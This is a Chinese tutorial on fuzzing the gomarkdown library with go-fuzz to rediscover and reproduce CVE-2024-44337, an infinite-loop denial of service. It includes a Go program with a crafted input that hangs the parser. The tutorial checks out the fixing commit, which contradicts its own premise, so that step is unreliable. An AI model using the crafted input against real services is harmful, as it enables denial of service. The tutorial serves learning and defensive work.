Go-Fuzz模糊测试引擎实战：挖掘与复现CVE-2024-44337漏洞

1. 漏洞概述

CVE-2024-44337是gomarkdown项目中的一个重要漏洞，涉及输入处理不当导致的拒绝服务(DoS)问题。该漏洞存在于伪版本'v0.0.0-20240729232818-a2a9c4f'之前的版本中，攻击者可通过特制输入使程序进入无限循环，导致资源耗尽。

漏洞关键信息

• 影响组件：github.com/gomarkdown/markdown Go库
• 漏洞位置：parser/block.go文件的paragraph函数
• 漏洞类型：逻辑错误导致的无限循环
• 修复提交：a2a9c4f76ef5a5c32108e36f7c47f8d310322252
• 影响：远程攻击者可造成程序挂起并无限消耗资源

2. 漏洞成因分析

问题代码

if p.extensions&DefinitionLists != 0 {
    if i < len(data)-1 && data[i+1] == ':' {
        listLen := p.list(data[prev:], ast.ListTypeDefinition, 0, '.')
        return prev + listLen
    }
}

修复后代码

if p.extensions&DefinitionLists != 0 {
    if i < len(data)-1 && data[i+1] == ':' {
        listLen := p.list(data[prev:], ast.ListTypeDefinition, 0, '.')
        if listLen > 0 {
            return prev + listLen
        }
    }
}

漏洞原理

1. 原始代码在调用p.list()后直接返回prev + listLen，未验证listLen的有效性
2. 当p.list()返回0时，会导致return prev，使下次调用时prev不变
3. 造成循环重复调用p.list()，无法退出，形成无限循环

3. Go-Fuzz环境配置

系统要求

• 操作系统：Ubuntu 20.04
• Go版本：1.23.0

安装步骤

1. 安装Go环境：

wget https://go.dev/dl/go1.23.0.linux-amd64.tar.gz
sudo tar -C /usr/local -xzf ./go1.23.0.linux-amd64.tar.gz

2. 配置环境变量：

vim ~/.bashrc

添加以下内容：

export GOROOT="/usr/local/go"
export GOPATH="/home/ub20/gowork"
export GOBIN=$GOPATH/bin
export PATH=$PATH:${GOPATH//://bin:}/bin:/usr/local/go/bin

3. 创建工作目录：

mkdir -p gowork/{bin,src,pkg}

4. 配置Go模块代理：

go env -w GO111MODULE=on
go env -w GOPROXY=https://goproxy.io,direct

5. 安装go-fuzz工具：

go install github.com/dvyukov/go-fuzz/go-fuzz@latest
go install github.com/dvyukov/go-fuzz/go-fuzz-build@latest

源码编译安装（可选）

mkdir -p $GOPATH/src/github.com/dvyukov/go-fuzz
git clone https://github.com/dvyukov/go-fuzz.git $GOPATH/src/github.com/dvyukov/go-fuzz
cd $GOPATH/src/github.com/dvyukov/go-fuzz
go mod init
go get github.com/elazarl/go-bindata-assetfs
go get github.com/stephens2424/writerset
go get golang.org/x/tools/go/packages
go build -o go-fuzz-build ./go-fuzz-build
go build -o go-fuzz ./go-fuzz
go install ./go-fuzz
go install ./go-fuzz-build

4. Go-Fuzz核心架构与特性

主要组件

1. Coordinator协调器：管理整体测试流程
2. Hub中心：协调各工作节点
3. Worker工作者：执行实际的模糊测试任务

关键特性

1. 覆盖率引导的模糊测试：

   • 通过代码插桩收集覆盖率信息
   • 基于覆盖率引导输入变异

2. 智能变异策略：

   • 多种变异算法组合
   • 结构化数据感知变异

3. 持久化测试模式：

   • 无需重启目标程序
   • 持续积累测试状态

4. Sonar声呐技术：

   • 精确代码路径追踪
   • 针对性输入变异

5. Versifier结构反演：

   • 理解数据结构
   • 生成合法边界值

5. 漏洞挖掘实战流程

1. 准备目标项目

git clone https://github.com/gomarkdown/markdown.git
cd markdown
git checkout a2a9c4f76ef5a5c32108e36f7c47f8d310322252

2. 准备语料库

git clone https://github.com/PMunch/markdown-corpus.git
mkdir -p ./fuzz-workdir
cp -r markdown-corpus/corpus/* ./fuzz-workdir

3. 编写Fuzz测试代码

创建fuzz.go文件：

//go:build gofuzz
// +build gofuzz

package markdown

// Fuzz is to be used by https://github.com/dvyukov/go-fuzz
func Fuzz(data []byte) int {
    Parse(data, nil)
    return 0
}

4. 编译Fuzz测试

go mod init fuzz
go-fuzz-build

5. 执行模糊测试

go-fuzz -bin=./markdown-fuzz.zip -workdir=./fuzz-workdir

6. 分析测试输出

典型输出示例：

2024/10/15 18:18:21 workers: 4, 
corpus: 969 (26s ago), 
crashers: 1, 
restarts: 1/8994, 
execs: 557678 (18589/sec), 
cover: 1927, 
uptime: 30s

关键指标说明：

• workers：工作线程数
• corpus：测试用例数量
• crashers：发现的崩溃用例
• execs/sec：每秒执行次数
• cover：覆盖的代码块数

7. 检查崩溃用例

工作目录结构：

fuzz-workdir/
    corpus/        # 测试用例集
    crashers/      # 导致崩溃的输入
    suppressions/  # 抑制规则

查看崩溃输入：

cat ./fuzz-workdir/crashers/6352b36848220fd923515ee94b6a90237024e28b.quoted

示例输出：

"|[][\xc5\r$\r\r$\n\r$\r\r%\r```" + "```\r: "

6. 漏洞复现验证

手动复现代码

package main

import (
    "log"
    "github.com/gomarkdown/markdown"
)

func main() {
    str := "~~~~\xb4~\x94~\x94~\xd1\r\r:\xb4\x94\x94~\x9f~\xb4~\x94~\x94\x94"
    data := []byte(str)
    log.Println("Starting markdown parsing with manual input...")
    markdown.Parse(data, nil)
    log.Println("Parsing completed successfully.")
}

复现结果

程序将进入无限循环状态，需要手动终止：

2024/07/29 06:50:21 Starting markdown parsing with manual input...
^Csignal: interrupt

7. Go-Fuzz高级技巧

1. 语料库优化

• 收集各种边界用例
• 包含已知问题模式
• 保持多样性

2. 测试目标选择

• 优先测试复杂解析逻辑
• 关注输入处理函数
• 选择暴露给外部的接口

3. 性能调优

• 调整worker数量
• 优化测试超时设置
• 合理设置内存限制

4. 结果分析

• 分类崩溃用例
• 优先处理可稳定复现的问题
• 建立自动化分析流程

8. 防御建议

1. 输入验证：

   • 对所有输入进行严格验证
   • 设置合理的处理超时

2. 边界检查：

   • 对所有返回值进行有效性验证
   • 特别关注循环退出条件

3. 模糊测试集成：

   • 将模糊测试纳入CI流程
   • 定期执行自动化测试

4. 资源限制：

   • 设置内存和CPU使用上限
   • 实现看门狗机制

9. 参考资源

1. Go-Fuzz官方仓库：
   https://github.com/dvyukov/go-fuzz

2. gomarkdown项目：
   https://github.com/gomarkdown/markdown

3. 相关Issue：
   https://github.com/gomarkdown/markdown/issues/311

4. 修复提交：
   https://github.com/gomarkdown/markdown/commit/a2a9c4f76ef5a5c32108e36f7c47f8d310322252

5. 模糊测试教程：
   https://gowalker.org/github.com/dvyukov/go-fuzz